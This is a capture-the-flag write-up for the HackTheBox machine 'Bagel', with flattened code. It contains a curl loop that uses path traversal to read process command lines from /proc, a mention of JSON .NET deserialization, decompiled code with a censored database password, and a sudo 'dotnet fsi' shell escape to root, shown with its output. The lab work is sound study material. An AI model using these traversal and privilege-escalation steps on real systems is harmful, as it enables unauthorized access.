...@app.route('/orders')def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try: ws = websocket.WebSocket() ws.connect("ws://127.0.0.1:5000/")# connect to order app order ={"ReadOrder":"orders.txt"} data =str(json.dumps(order)) ws.send(data) result = ws.recv()return(json.loads(result)['ReadOrder'])except:return("Unable to connect")...
Finding the WebSocket DLL
# Gather cmdline content for i in $(seq 1 2500); do curl http://bagel.htb:8000/?page=../../../../../../proc/$i/cmdline --output - && echo -n "\n"; done >> ./cmdline_enum.log
I used ILSpy to decompile the dll and check the source code
After digging deep into the code I realized that this could be a possible JSON .NET deserialization attack. That was something that is totally new to me and required a lot of research.
That's an easy one. During enumeration of the application I was able to spot credentials for a database.
Using that password I was able to become the user Developer.
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
publicvoidDB_connection(){ //IL_0008: Unknown result type (might be due to invalid IL or missing references) //IL_000e: Expected O, but got Unknownstring text ="Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=CENSORED";SqlConnection val =newSqlConnection(text);string text2 ="INSERT INTO orders (Name,Address,Count,Type) VALUES ('Eliot','Street',4,'Baggel')";}
Escalation
Local Enumeration
Since we were able to escalate from phil to developer without any problems it's time to enumerate.
[developer@bagel app]$ sudo /usr/bin/dotnet fsiWelcometo.NET6.0!---------------------SDKVersion:6.0.113----------------InstalledanASP.NETCoreHTTPSdevelopmentcertificate.Totrustthecertificaterun'dotnet dev-certs https --trust' (Windows andmacOSonly).LearnaboutHTTPS:https://aka.ms/dotnet-https----------------Writeyourfirstapp:https://aka.ms/dotnet-hello-worldFindoutwhat's new: https://aka.ms/dotnet-whats-newExplore documentation: https://aka.ms/dotnet-docsReport issues and find source on GitHub: https://github.com/dotnet/coreUse 'dotnet--help' to see available commands or visit: https://aka.ms/dotnet-cli--------------------------------------------------------------------------------------Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0Copyright (c) Microsoft Corporation. All Rights Reserved.For help type #help;;> System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;sh-5.2# whoamirootsh-5.2# cd /rootsh-5.2# lsanaconda-ks.cfg bagel root.txt